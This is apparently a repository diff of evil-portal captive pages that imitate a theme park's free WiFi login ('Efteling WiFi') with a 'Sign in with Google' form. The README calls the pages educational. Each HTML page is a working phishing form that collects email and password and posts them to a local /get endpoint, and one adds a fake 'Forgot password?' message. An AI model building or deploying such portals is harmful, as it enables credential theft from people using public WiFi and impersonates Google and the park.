margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #AC1923;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #AC1923;
}
.forgot-password {
display: block;
text-align: center;
color: #000000;
text-decoration: underline;
margin-top: 10px;
}
.error-message {
color: red;
text-align: center;
display: none;
margin-top: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="320.000000pt" height="180.000000pt" viewBox="0 0 640.000000 360.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,360.000000) scale(0.100000,-0.100000)"
fill="#AC1923" stroke="none">
<path d="M380 2150 l0 -1150 175 0 c96 0 175 -4 175 -9 0 -4 66 -11 147 -14
93 -3 149 -9 151 -16 2 -7 38 -11 97 -11 65 0 95 -4 97 -12 3 -8 33 -14 81
-16 42 -2 77 -8 77 -12 0 -4 32 -11 70 -14 39 -4 70 -11 70 -17 0 -5 23 -9 51
-9 31 0 56 -6 65 -15 9 -9 34 -15 59 -15 24 0 45 -4 47 -10 2 -5 31 -13 66
-16 34 -4 62 -10 62 -14 0 -4 30 -10 67 -12 39 -2 68 -9 71 -16 2 -8 30 -12
82 -12 54 0 80 -4 82 -12 3 -9 35 -14 96 -16 51 -2 92 -7 92 -11 0 -5 53 -11
117 -14 66 -4 119 -11 121 -17 2 -6 61 -10 155 -10 97 -1 174 -6 212 -15 73
-18 436 -20 505 -3 25 6 121 13 215 15 93 2 172 9 176 14 3 5 58 12 122 16 64
3 117 9 117 14 0 4 41 9 92 11 61 2 93 7 96 16 2 8 28 12 82 12 52 0 80 4 82
12 3 7 32 14 71 16 37 2 67 8 67 12 0 4 28 10 63 14 34 3 64 11 65 16 2 6 23
10 47 10 26 0 47 6 55 15 8 10 31 15 65 15 30 0 55 4 57 10 2 5 31 13 66 16
34 4 62 11 62 15 0 5 30 9 66 9 45 0 70 5 80 15 12 11 39 15 109 15 62 0 95 4
97 12 3 7 49 13 141 16 75 3 137 9 137 13 0 5 72 9 160 9 l160 0 0 1150 0
1150 -2820 0 -2820 0 0 -1150z m1328 83 c2 -8 20 -13 43 -13 28 0 39 -4 39
-15 0 -8 9 -15 20 -15 23 0 104 -76 114 -108 4 -12 12 -22 17 -22 5 0 9 -25 9
-55 l0 -55 -200 0 -200 0 0 -40 c0 -22 5 -40 10 -40 6 0 10 -10 10 -23 0 -24
25 -51 59 -62 12 -3 21 -11 21 -16 0 -16 77 -11 84 6 3 8 14 15 25 15 14 0 23
9 27 25 6 24 9 25 85 25 64 0 79 -3 79 -15 0 -8 -4 -15 -10 -15 -5 0 -10 -7
-10 -16 0 -11 5 -14 16 -10 9 3 31 6 50 6 l34 0 0 149 c0 120 3 153 15 165 8
8 15 24 15 35 0 12 6 21 14 21 8 0 21 6 28 13 39 36 77 47 162 47 68 0 88 -3
92 -15 4 -8 12 -15 20 -15 8 0 14 -7 14 -15 0 -8 5 -15 10 -15 6 0 10 -11 10
-25 0 -14 -4 -25 -10 -25 -5 0 -10 -7 -10 -15 0 -11 -12 -15 -45 -15 -33 0
-45 4 -45 15 0 8 -4 15 -10 15 -5 0 -10 11 -10 25 0 20 -5 25 -26 25 -39 0
-84 -50 -84 -94 l0 -36 64 0 c58 0 64 -2 70 -22 14 -55 11 -58 -64 -58 l-70 0
0 -79 0 -80 53 -3 52 -3 3 -37 3 -38 -161 0 c-170 0 -180 2 -194 48 -9 27 -23
28 -31 3 -3 -11 -14 -23 -25 -26 -10 -3 -21 -12 -24 -20 -3 -8 -17 -15 -31
-15 -14 0 -25 -4 -25 -10 0 -6 -43 -10 -110 -10 -60 0 -110 4 -110 9 0 5 -11
12 -25 15 -14 4 -25 11 -25 16 0 6 -7 10 -15 10 -8 0 -15 7 -15 15 0 8 -4 15
-10 15 -15 0 -50 33 -50 47 0 7 -4 13 -10 13 -6 0 -10 40 -10 99 0 79 3 100
15 105 8 3 15 10 15 16 0 15 20 34 43 43 10 4 16 11 13 15 -3 5 19 10 49 11
59 2 71 -11 40 -43 -30 -30 -17 -36 80 -36 88 0 95 1 95 20 0 35 -68 90 -112
90 -16 0 -28 5 -28 10 0 6 -11 10 -25 10 -14 0 -25 -4 -25 -10 0 -5 -18 -10
-39 -10 -22 0 -46 -7 -55 -15 -8 -8 -22 -15 -30 -15 -9 0 -16 -5 -16 -11 0
-14 -25 -39 -39 -39 -6 0 -11 -13 -11 -30 0 -16 -4 -30 -10 -30 -6 0 -10 -37
-10 -90 0 -53 4 -90 10 -90 6 0 10 -13 10 -30 0 -20 5 -30 15 -30 9 0 15 -9
15 -25 0 -16 6 -25 15 -25 8 0 15 -4 15 -10 0 -15 38 -50 54 -50 8 0 16 -7 20
-15 3 -8 12 -15 21 -15 8 0 15 -4 15 -10 0 -5 11 -10 25 -10 16 0 25 -6 25
-15 0 -11 11 -15 40 -15 29 0 40 -4 40 -15 0 -11 11 -15 40 -15 22 0 40 -4 40
-9 0 -4 30 -11 67 -14 38 -4 69 -11 71 -17 5 -14 429 -14 434 1 2 6 41 13 86
16 45 3 82 9 82 13 0 4 23 10 52 12 29 3 54 11 56 17 2 6 25 11 53 11 37 0 49
4 49 15 0 11 11 15 40 15 22 0 40 4 40 9 0 5 14 12 30 16 17 4 30 11 30 16 0
5 11 9 24 9 13 0 29 7 36 15 7 8 25 15 41 15 40 0 36 18 -6 26 -19 3 -35 10
-35 15 0 5 -13 9 -30 9 -20 0 -30 5 -30 15 0 8 -7 15 -15 15 -8 0 -15 7 -15
15 0 8 -7 15 -15 15 -9 0 -15 9 -15 25 0 14 -4 25 -10 25 -5 0 -10 25 -10 55
0 30 5 55 10 55 6 0 10 11 10 25 0 16 6 25 15 25 8 0 15 7 15 15 0 8 5 15 11
15 6 0 17 7 25 15 9 8 29 15 45 15 16 0 29 5 29 10 0 6 28 10 65 10 37 0 65
-4 65 -10 0 -5 14 -10 30 -10 20 0 30 -5 30 -15 0 -8 5 -15 11 -15 14 0 39
-25 39 -40 0 -6 7 -13 15 -16 10 -4 15 -20 15 -45 l0 -39 -150 0 -150 0 0 -25
c0 -16 6 -25 15 -25 9 0 15 -9 15 -25 0 -21 5 -25 29 -25 16 0 36 -7 45 -15
16 -17 86 -21 86 -5 0 5 18 13 40 16 22 4 40 10 40 15 0 5 7 9 15 9 8 0 15 7
15 15 0 9 9 15 25 15 16 0 25 6 25 15 0 8 7 15 15 15 8 0 15 5 15 10 0 6 7 10
15 10 13 0 15 21 15 125 l0 125 -30 0 c-19 0 -30 5 -30 14 0 8 -6 17 -12 20
-10 5 -10 7 0 12 6 3 12 12 12 20 0 11 20 14 94 14 110 0 106 4 106 -111 0
-78 0 -79 25 -79 16 0 25 6 25 15 0 8 6 15 14 15 8 0 16 6 19 13 2 7 8 8 13 3
5 -5 4 -11 -3 -13 -7 -3 -13 -11 -13 -19 0 -8 -7 -14 -15 -14 -8 0 -15 -7 -15
-15 0 -8 -7 -15 -15 -15 -8 0 -15 -5 -15 -11 0 -14 -25 -39 -39 -39 -16 0 -13
-19 4 -36 8 -9 15 -33 15 -55 0 -44 18 -69 48 -69 11 0 27 -3 36 -6 21 -8 21
-54 1 -54 -8 0 -15 -4 -15 -10 0 -6 -55 -10 -145 -10 -90 0 -145 4 -145 10 0
6 5 10 10 10 6 0 10 7 10 15 0 8 7 15 15 15 8 0 15 7 15 15 0 8 5 15 10 15 11
0 130 114 130 125 0 3 -7 5 -15 5 -8 0 -15 -7 -15 -15 0 -8 -5 -15 -11 -15 -7
0 -22 -11 -35 -25 -13 -14 -28 -25 -34 -25 -6 0 -21 -11 -34 -25 -13 -14 -28
-25 -35 -25 -6 0 -11 -6 -11 -14 0 -8 -11 -17 -25 -20 -14 -4 -25 -11 -25 -16
0 -6 -7 -10 -15 -10 -8 0 -15 -4 -15 -10 0 -5 -7 -10 -15 -10 -9 0 -18 -7 -21
-15 -4 -8 -15 -15 -25 -15 -11 0 -22 -7 -25 -15 -4 -8 -17 -15 -30 -15 -15 0
-24 -6 -24 -15 0 -9 -9 -15 -25 -15 -14 0 -25 -4 -25 -10 0 -5 -7 -10 -15 -10
-9 0 -18 -7 -21 -15 -4 -8 -15 -15 -26 -15 -11 0 -26 -7 -34 -15 -9 -8 -26
-15 -40 -15 -13 0 -24 -4 -24 -9 0 -5 -13 -12 -30 -16 -16 -4 -30 -11 -30 -16
0 -5 -18 -9 -39 -9 -25 0 -41 -5 -45 -15 -3 -10 -19 -15 -45 -15 -22 0 -41 -5
-43 -11 -2 -6 -25 -13 -51 -16 -26 -3 -47 -10 -47 -14 0 -5 -26 -9 -57 -9 -32
-1 -69 -7 -83 -15 -33 -19 -536 -22 -542 -3 -3 7 -32 14 -71 16 -37 2 -67 8
-67 12 0 4 -18 10 -40 14 -22 3 -40 11 -40 16 0 6 -18 10 -40 10 -29 0 -40 4
-40 15 0 9 -9 15 -25 15 -14 0 -25 5 -25 10 0 6 -7 10 -15 10 -9 0 -18 7 -21
15 -4 8 -13 15 -21 15 -18 0 -113 95 -113 113 0 8 -7 17 -15 21 -8 3 -15 12
-15 21 0 8 -4 15 -10 15 -5 0 -10 10 -10 23 0 13 -7 32 -15 43 -21 28 -21 219
0 228 8 3 15 17 15 31 0 14 4 25 9 25 5 0 12 11 15 25 4 14 11 25 16 25 6 0
10 7 10 15 0 8 5 15 11 15 7 0 22 11 35 25 13 14 32 25 44 25 11 0 20 7 20 15
0 11 11 15 40 15 22 0 40 4 40 9 0 16 30 20 139 18 73 -1 106 -6 109 -14z
m853 -33 c16 -9 19 -22 19 -90 l0 -80 65 0 65 0 0 -40 0 -40 -65 0 -65 0 0
-80 c0 -85 1 -86 53 -82 21 2 47 25 47 41 0 6 18 11 40 11 22 0 40 -4 40 -10
0 -5 -4 -10 -10 -10 -5 0 -10 -13 -10 -30 0 -20 -5 -30 -15 -30 -8 0 -15 -7
-15 -15 0 -9 -9 -15 -24 -15 -13 0 -26 -5 -28 -12 -3 -7 -31 -14 -69 -16 -51
-3 -69 0 -82 12 -8 9 -18 16 -21 16 -3 0 -15 9 -26 20 -17 17 -20 33 -20 110
l0 90 -55 0 c-51 0 -55 2 -55 23 0 24 31 57 54 57 8 0 31 15 50 34 26 24 36
42 36 65 0 17 4 31 9 31 5 0 12 11 15 25 7 27 33 33 67 15z m1799 -130 c0 -5
9 -10 19 -10 11 0 26 -7 35 -15 8 -8 19 -15 25 -15 7 0 11 -37 11 -106 0 -115
8 -134 54 -134 22 0 26 -4 26 -30 0 -20 -5 -30 -15 -30 -8 0 -15 -4 -15 -10 0
-6 -47 -10 -120 -10 l-120 0 0 40 c0 36 3 40 24 40 30 0 36 16 36 98 0 106 -4
112 -62 112 -48 0 -78 -15 -78 -39 0 -6 -7 -11 -15 -11 -12 0 -15 -16 -15 -80
0 -77 1 -80 23 -80 12 0 30 -9 40 -20 16 -19 16 -21 -3 -40 -18 -18 -33 -20
-135 -20 -70 0 -115 4 -115 10 0 6 -7 10 -16 10 -11 0 -14 8 -12 28 3 23 8 27
41 30 l37 3 0 105 0 104 -40 0 c-38 0 -40 2 -40 30 l0 30 110 0 c91 0 110 -3
110 -15 0 -8 4 -15 9 -15 5 0 11 7 15 15 3 8 17 15 31 15 14 0 25 5 25 10 0 6
28 10 65 10 37 0 65 -4 65 -10z m550 0 c0 -5 14 -10 30 -10 17 0 30 5 30 10 0
6 25 10 56 10 53 0 55 -1 48 -22 -3 -13 -11 -24 -15 -26 -5 -2 -9 -10 -9 -18
0 -8 -7 -14 -15 -14 -11 0 -15 -12 -15 -45 0 -44 -24 -85 -50 -85 -5 0 -10 -7
-10 -15 0 -11 -12 -15 -50 -15 -38 0 -50 -4 -50 -15 0 -12 -14 -15 -70 -15
-56 0 -70 3 -70 15 0 9 -9 15 -25 15 -28 0 -32 -14 -11 -35 10 -10 55 -14 171
-17 115 -2 159 -6 163 -15 2 -7 8 -13 14 -13 16 0 37 -26 44 -54 3 -14 10 -26
15 -26 5 0 9 -13 9 -30 0 -16 -4 -30 -10 -30 -5 0 -12 -11 -16 -25 -3 -14 -12
-25 -20 -25 -8 0 -14 -4 -14 -9 0 -5 -10 -13 -22 -17 -13 -4 -26 -12 -30 -18
-10 -16 -310 -15 -315 2 -3 6 -16 12 -29 12 -14 0 -27 7 -30 15 -4 8 -12 15
-20 15 -8 0 -14 6 -14 14 0 8 -6 17 -12 19 -26 11 17 27 70 27 38 0 54 -4 58
-15 4 -8 15 -15 26 -15 11 0 26 -7 34 -15 10 -10 35 -15 69 -15 38 0 54 4 59
15 3 8 14 15 25 15 24 0 37 36 27 74 -7 30 -41 36 -198 36 -72 0 -118 4 -118
10 0 6 -9 10 -19 10 -37 0 -54 29 -48 84 2 28 10 52 16 54 14 5 15 32 1 32 -5
0 -10 23 -10 50 0 28 5 50 10 50 6 0 10 7 10 15 0 8 6 15 14 15 8 0 16 7 20
15 3 8 17 15 31 15 14 0 25 5 25 10 0 6 47 10 120 10 73 0 120 -4 120 -10z
m-1106 -16 c13 -5 16 -27 16 -135 l0 -129 24 0 c38 0 56 -10 56 -32 0 -42 -20
-48 -174 -48 l-146 0 0 40 c0 40 0 40 38 40 50 0 72 35 72 114 0 61 -22 96
-60 96 -16 0 -20 7 -20 30 l0 30 89 0 c49 0 96 -3 105 -6z"/>
<path d="M4722 1995 c-33 -34 -35 -53 -4 -84 21 -22 105 -27 124 -7 9 9 21 16
27 16 6 0 11 12 11 26 0 26 -20 54 -39 54 -6 0 -11 7 -11 15 0 11 -10 15 -37
14 -29 -1 -46 -9 -71 -34z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<a href="javascript:void(0);" class="forgot-password">Forgot password?</a>
<button class="submit-btn" type="submit">Continue</button>
<div class="error-message"></div>
</form>
</div>
</div>
<script>
document.querySelector('.forgot-password').addEventListener('click', function() {
var errorMessage = document.querySelector('.error-message');
errorMessage.innerHTML = "Please refer to your Google account";
errorMessage.style.display = 'block';
});
</script>
</body>
</html>

View File

@@ -0,0 +1 @@
Efteling WiFi

View File

@@ -0,0 +1,242 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #FFFFFF;
}
.container {
max-width: 400px;
margin: 0 auto;
padding: 20px;
}
@media (min-width: 600px) {
.container {
max-width: 500px;
}
}
.logo-container {
text-align: center;
margin-bottom: 30px;
display: flex;
justify-content: center;
align-items: center;
}
.logo {
width: 40px;
height: 40px;
fill: #AC1923;
margin-right: 100px
}
.form-container {
background: #FFFFFF;
border: 1px solid #FFFFFF;
border-radius: 4px;
padding: 20px;
box-shadow: 0px 0px 10px 0px rgba(108,66,156,0.2);
}
h1 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
h2 {
text-align: center;
font-size: 28px;
font-weight: 500;
color: #000000;
margin-bottom: 20px;
}
.input-field {
width: 100%;
padding: 12px;
border: 2px solid #AC1923;
border-radius: 4px;
box-sizing: border-box;
margin-bottom: 20px;
font-size: 14px;
}
.submit-btn {
background: #AC1923;
border: none;
color: #FFFFFF;
padding: 12px 20px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
display: block;
margin: auto;
margin-top: 20px;
}
.submit-btn:hover {
background: #AC1923;
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg"
width="320.000000pt" height="180.000000pt" viewBox="0 0 640.000000 360.000000"
preserveAspectRatio="xMidYMid meet">
<g transform="translate(0.000000,360.000000) scale(0.100000,-0.100000)"
fill="#AC1923" stroke="none">
<path d="M380 2150 l0 -1150 175 0 c96 0 175 -4 175 -9 0 -4 66 -11 147 -14
93 -3 149 -9 151 -16 2 -7 38 -11 97 -11 65 0 95 -4 97 -12 3 -8 33 -14 81
-16 42 -2 77 -8 77 -12 0 -4 32 -11 70 -14 39 -4 70 -11 70 -17 0 -5 23 -9 51
-9 31 0 56 -6 65 -15 9 -9 34 -15 59 -15 24 0 45 -4 47 -10 2 -5 31 -13 66
-16 34 -4 62 -10 62 -14 0 -4 30 -10 67 -12 39 -2 68 -9 71 -16 2 -8 30 -12
82 -12 54 0 80 -4 82 -12 3 -9 35 -14 96 -16 51 -2 92 -7 92 -11 0 -5 53 -11
117 -14 66 -4 119 -11 121 -17 2 -6 61 -10 155 -10 97 -1 174 -6 212 -15 73
-18 436 -20 505 -3 25 6 121 13 215 15 93 2 172 9 176 14 3 5 58 12 122 16 64
3 117 9 117 14 0 4 41 9 92 11 61 2 93 7 96 16 2 8 28 12 82 12 52 0 80 4 82
12 3 7 32 14 71 16 37 2 67 8 67 12 0 4 28 10 63 14 34 3 64 11 65 16 2 6 23
10 47 10 26 0 47 6 55 15 8 10 31 15 65 15 30 0 55 4 57 10 2 5 31 13 66 16
34 4 62 11 62 15 0 5 30 9 66 9 45 0 70 5 80 15 12 11 39 15 109 15 62 0 95 4
97 12 3 7 49 13 141 16 75 3 137 9 137 13 0 5 72 9 160 9 l160 0 0 1150 0
1150 -2820 0 -2820 0 0 -1150z m1328 83 c2 -8 20 -13 43 -13 28 0 39 -4 39
-15 0 -8 9 -15 20 -15 23 0 104 -76 114 -108 4 -12 12 -22 17 -22 5 0 9 -25 9
-55 l0 -55 -200 0 -200 0 0 -40 c0 -22 5 -40 10 -40 6 0 10 -10 10 -23 0 -24
25 -51 59 -62 12 -3 21 -11 21 -16 0 -16 77 -11 84 6 3 8 14 15 25 15 14 0 23
9 27 25 6 24 9 25 85 25 64 0 79 -3 79 -15 0 -8 -4 -15 -10 -15 -5 0 -10 -7
-10 -16 0 -11 5 -14 16 -10 9 3 31 6 50 6 l34 0 0 149 c0 120 3 153 15 165 8
8 15 24 15 35 0 12 6 21 14 21 8 0 21 6 28 13 39 36 77 47 162 47 68 0 88 -3
92 -15 4 -8 12 -15 20 -15 8 0 14 -7 14 -15 0 -8 5 -15 10 -15 6 0 10 -11 10
-25 0 -14 -4 -25 -10 -25 -5 0 -10 -7 -10 -15 0 -11 -12 -15 -45 -15 -33 0
-45 4 -45 15 0 8 -4 15 -10 15 -5 0 -10 11 -10 25 0 20 -5 25 -26 25 -39 0
-84 -50 -84 -94 l0 -36 64 0 c58 0 64 -2 70 -22 14 -55 11 -58 -64 -58 l-70 0
0 -79 0 -80 53 -3 52 -3 3 -37 3 -38 -161 0 c-170 0 -180 2 -194 48 -9 27 -23
28 -31 3 -3 -11 -14 -23 -25 -26 -10 -3 -21 -12 -24 -20 -3 -8 -17 -15 -31
-15 -14 0 -25 -4 -25 -10 0 -6 -43 -10 -110 -10 -60 0 -110 4 -110 9 0 5 -11
12 -25 15 -14 4 -25 11 -25 16 0 6 -7 10 -15 10 -8 0 -15 7 -15 15 0 8 -4 15
-10 15 -15 0 -50 33 -50 47 0 7 -4 13 -10 13 -6 0 -10 40 -10 99 0 79 3 100
15 105 8 3 15 10 15 16 0 15 20 34 43 43 10 4 16 11 13 15 -3 5 19 10 49 11
59 2 71 -11 40 -43 -30 -30 -17 -36 80 -36 88 0 95 1 95 20 0 35 -68 90 -112
90 -16 0 -28 5 -28 10 0 6 -11 10 -25 10 -14 0 -25 -4 -25 -10 0 -5 -18 -10
-39 -10 -22 0 -46 -7 -55 -15 -8 -8 -22 -15 -30 -15 -9 0 -16 -5 -16 -11 0
-14 -25 -39 -39 -39 -6 0 -11 -13 -11 -30 0 -16 -4 -30 -10 -30 -6 0 -10 -37
-10 -90 0 -53 4 -90 10 -90 6 0 10 -13 10 -30 0 -20 5 -30 15 -30 9 0 15 -9
15 -25 0 -16 6 -25 15 -25 8 0 15 -4 15 -10 0 -15 38 -50 54 -50 8 0 16 -7 20
-15 3 -8 12 -15 21 -15 8 0 15 -4 15 -10 0 -5 11 -10 25 -10 16 0 25 -6 25
-15 0 -11 11 -15 40 -15 29 0 40 -4 40 -15 0 -11 11 -15 40 -15 22 0 40 -4 40
-9 0 -4 30 -11 67 -14 38 -4 69 -11 71 -17 5 -14 429 -14 434 1 2 6 41 13 86
16 45 3 82 9 82 13 0 4 23 10 52 12 29 3 54 11 56 17 2 6 25 11 53 11 37 0 49
4 49 15 0 11 11 15 40 15 22 0 40 4 40 9 0 5 14 12 30 16 17 4 30 11 30 16 0
5 11 9 24 9 13 0 29 7 36 15 7 8 25 15 41 15 40 0 36 18 -6 26 -19 3 -35 10
-35 15 0 5 -13 9 -30 9 -20 0 -30 5 -30 15 0 8 -7 15 -15 15 -8 0 -15 7 -15
15 0 8 -7 15 -15 15 -9 0 -15 9 -15 25 0 14 -4 25 -10 25 -5 0 -10 25 -10 55
0 30 5 55 10 55 6 0 10 11 10 25 0 16 6 25 15 25 8 0 15 7 15 15 0 8 5 15 11
15 6 0 17 7 25 15 9 8 29 15 45 15 16 0 29 5 29 10 0 6 28 10 65 10 37 0 65
-4 65 -10 0 -5 14 -10 30 -10 20 0 30 -5 30 -15 0 -8 5 -15 11 -15 14 0 39
-25 39 -40 0 -6 7 -13 15 -16 10 -4 15 -20 15 -45 l0 -39 -150 0 -150 0 0 -25
c0 -16 6 -25 15 -25 9 0 15 -9 15 -25 0 -21 5 -25 29 -25 16 0 36 -7 45 -15
16 -17 86 -21 86 -5 0 5 18 13 40 16 22 4 40 10 40 15 0 5 7 9 15 9 8 0 15 7
15 15 0 9 9 15 25 15 16 0 25 6 25 15 0 8 7 15 15 15 8 0 15 5 15 10 0 6 7 10
15 10 13 0 15 21 15 125 l0 125 -30 0 c-19 0 -30 5 -30 14 0 8 -6 17 -12 20
-10 5 -10 7 0 12 6 3 12 12 12 20 0 11 20 14 94 14 110 0 106 4 106 -111 0
-78 0 -79 25 -79 16 0 25 6 25 15 0 8 6 15 14 15 8 0 16 6 19 13 2 7 8 8 13 3
5 -5 4 -11 -3 -13 -7 -3 -13 -11 -13 -19 0 -8 -7 -14 -15 -14 -8 0 -15 -7 -15
-15 0 -8 -7 -15 -15 -15 -8 0 -15 -5 -15 -11 0 -14 -25 -39 -39 -39 -16 0 -13
-19 4 -36 8 -9 15 -33 15 -55 0 -44 18 -69 48 -69 11 0 27 -3 36 -6 21 -8 21
-54 1 -54 -8 0 -15 -4 -15 -10 0 -6 -55 -10 -145 -10 -90 0 -145 4 -145 10 0
6 5 10 10 10 6 0 10 7 10 15 0 8 7 15 15 15 8 0 15 7 15 15 0 8 5 15 10 15 11
0 130 114 130 125 0 3 -7 5 -15 5 -8 0 -15 -7 -15 -15 0 -8 -5 -15 -11 -15 -7
0 -22 -11 -35 -25 -13 -14 -28 -25 -34 -25 -6 0 -21 -11 -34 -25 -13 -14 -28
-25 -35 -25 -6 0 -11 -6 -11 -14 0 -8 -11 -17 -25 -20 -14 -4 -25 -11 -25 -16
0 -6 -7 -10 -15 -10 -8 0 -15 -4 -15 -10 0 -5 -7 -10 -15 -10 -9 0 -18 -7 -21
-15 -4 -8 -15 -15 -25 -15 -11 0 -22 -7 -25 -15 -4 -8 -17 -15 -30 -15 -15 0
-24 -6 -24 -15 0 -9 -9 -15 -25 -15 -14 0 -25 -4 -25 -10 0 -5 -7 -10 -15 -10
-9 0 -18 -7 -21 -15 -4 -8 -15 -15 -26 -15 -11 0 -26 -7 -34 -15 -9 -8 -26
-15 -40 -15 -13 0 -24 -4 -24 -9 0 -5 -13 -12 -30 -16 -16 -4 -30 -11 -30 -16
0 -5 -18 -9 -39 -9 -25 0 -41 -5 -45 -15 -3 -10 -19 -15 -45 -15 -22 0 -41 -5
-43 -11 -2 -6 -25 -13 -51 -16 -26 -3 -47 -10 -47 -14 0 -5 -26 -9 -57 -9 -32
-1 -69 -7 -83 -15 -33 -19 -536 -22 -542 -3 -3 7 -32 14 -71 16 -37 2 -67 8
-67 12 0 4 -18 10 -40 14 -22 3 -40 11 -40 16 0 6 -18 10 -40 10 -29 0 -40 4
-40 15 0 9 -9 15 -25 15 -14 0 -25 5 -25 10 0 6 -7 10 -15 10 -9 0 -18 7 -21
15 -4 8 -13 15 -21 15 -18 0 -113 95 -113 113 0 8 -7 17 -15 21 -8 3 -15 12
-15 21 0 8 -4 15 -10 15 -5 0 -10 10 -10 23 0 13 -7 32 -15 43 -21 28 -21 219
0 228 8 3 15 17 15 31 0 14 4 25 9 25 5 0 12 11 15 25 4 14 11 25 16 25 6 0
10 7 10 15 0 8 5 15 11 15 7 0 22 11 35 25 13 14 32 25 44 25 11 0 20 7 20 15
0 11 11 15 40 15 22 0 40 4 40 9 0 16 30 20 139 18 73 -1 106 -6 109 -14z
m853 -33 c16 -9 19 -22 19 -90 l0 -80 65 0 65 0 0 -40 0 -40 -65 0 -65 0 0
-80 c0 -85 1 -86 53 -82 21 2 47 25 47 41 0 6 18 11 40 11 22 0 40 -4 40 -10
0 -5 -4 -10 -10 -10 -5 0 -10 -13 -10 -30 0 -20 -5 -30 -15 -30 -8 0 -15 -7
-15 -15 0 -9 -9 -15 -24 -15 -13 0 -26 -5 -28 -12 -3 -7 -31 -14 -69 -16 -51
-3 -69 0 -82 12 -8 9 -18 16 -21 16 -3 0 -15 9 -26 20 -17 17 -20 33 -20 110
l0 90 -55 0 c-51 0 -55 2 -55 23 0 24 31 57 54 57 8 0 31 15 50 34 26 24 36
42 36 65 0 17 4 31 9 31 5 0 12 11 15 25 7 27 33 33 67 15z m1799 -130 c0 -5
9 -10 19 -10 11 0 26 -7 35 -15 8 -8 19 -15 25 -15 7 0 11 -37 11 -106 0 -115
8 -134 54 -134 22 0 26 -4 26 -30 0 -20 -5 -30 -15 -30 -8 0 -15 -4 -15 -10 0
-6 -47 -10 -120 -10 l-120 0 0 40 c0 36 3 40 24 40 30 0 36 16 36 98 0 106 -4
112 -62 112 -48 0 -78 -15 -78 -39 0 -6 -7 -11 -15 -11 -12 0 -15 -16 -15 -80
0 -77 1 -80 23 -80 12 0 30 -9 40 -20 16 -19 16 -21 -3 -40 -18 -18 -33 -20
-135 -20 -70 0 -115 4 -115 10 0 6 -7 10 -16 10 -11 0 -14 8 -12 28 3 23 8 27
41 30 l37 3 0 105 0 104 -40 0 c-38 0 -40 2 -40 30 l0 30 110 0 c91 0 110 -3
110 -15 0 -8 4 -15 9 -15 5 0 11 7 15 15 3 8 17 15 31 15 14 0 25 5 25 10 0 6
28 10 65 10 37 0 65 -4 65 -10z m550 0 c0 -5 14 -10 30 -10 17 0 30 5 30 10 0
6 25 10 56 10 53 0 55 -1 48 -22 -3 -13 -11 -24 -15 -26 -5 -2 -9 -10 -9 -18
0 -8 -7 -14 -15 -14 -11 0 -15 -12 -15 -45 0 -44 -24 -85 -50 -85 -5 0 -10 -7
-10 -15 0 -11 -12 -15 -50 -15 -38 0 -50 -4 -50 -15 0 -12 -14 -15 -70 -15
-56 0 -70 3 -70 15 0 9 -9 15 -25 15 -28 0 -32 -14 -11 -35 10 -10 55 -14 171
-17 115 -2 159 -6 163 -15 2 -7 8 -13 14 -13 16 0 37 -26 44 -54 3 -14 10 -26
15 -26 5 0 9 -13 9 -30 0 -16 -4 -30 -10 -30 -5 0 -12 -11 -16 -25 -3 -14 -12
-25 -20 -25 -8 0 -14 -4 -14 -9 0 -5 -10 -13 -22 -17 -13 -4 -26 -12 -30 -18
-10 -16 -310 -15 -315 2 -3 6 -16 12 -29 12 -14 0 -27 7 -30 15 -4 8 -12 15
-20 15 -8 0 -14 6 -14 14 0 8 -6 17 -12 19 -26 11 17 27 70 27 38 0 54 -4 58
-15 4 -8 15 -15 26 -15 11 0 26 -7 34 -15 10 -10 35 -15 69 -15 38 0 54 4 59
15 3 8 14 15 25 15 24 0 37 36 27 74 -7 30 -41 36 -198 36 -72 0 -118 4 -118
10 0 6 -9 10 -19 10 -37 0 -54 29 -48 84 2 28 10 52 16 54 14 5 15 32 1 32 -5
0 -10 23 -10 50 0 28 5 50 10 50 6 0 10 7 10 15 0 8 6 15 14 15 8 0 16 7 20
15 3 8 17 15 31 15 14 0 25 5 25 10 0 6 47 10 120 10 73 0 120 -4 120 -10z
m-1106 -16 c13 -5 16 -27 16 -135 l0 -129 24 0 c38 0 56 -10 56 -32 0 -42 -20
-48 -174 -48 l-146 0 0 40 c0 40 0 40 38 40 50 0 72 35 72 114 0 61 -22 96
-60 96 -16 0 -20 7 -20 30 l0 30 89 0 c49 0 96 -3 105 -6z"/>
<path d="M4722 1995 c-33 -34 -35 -53 -4 -84 21 -22 105 -27 124 -7 9 9 21 16
27 16 6 0 11 12 11 26 0 26 -20 54 -39 54 -6 0 -11 7 -11 15 0 11 -10 15 -37
14 -29 -1 -46 -9 -71 -34z"/>
</g>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in with <font color="#4285F4">G</font><font color="#EA4335">o</font><font color="#FBBC05">o</font><font color="#4285F4">g</font><font color="#34A853">l</font><font color="#EA4335">e</font>
</h1>
</center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>

8
Theme Parks/README.md Normal file
View File

@@ -0,0 +1,8 @@
# !!FOR EDUCATIONAL USES ONLY!!
These portals are made to emulate various Theme Park's "Free WiFi" portals.
## I only made this to show the capabilities. I mean it when I say this is not meant to be used on real victims, you would be an a**hole if you do it
## Happy flippin'

View File

@@ -0,0 +1,6 @@
# !!FOR EDUCATIONAL USES ONLY!!
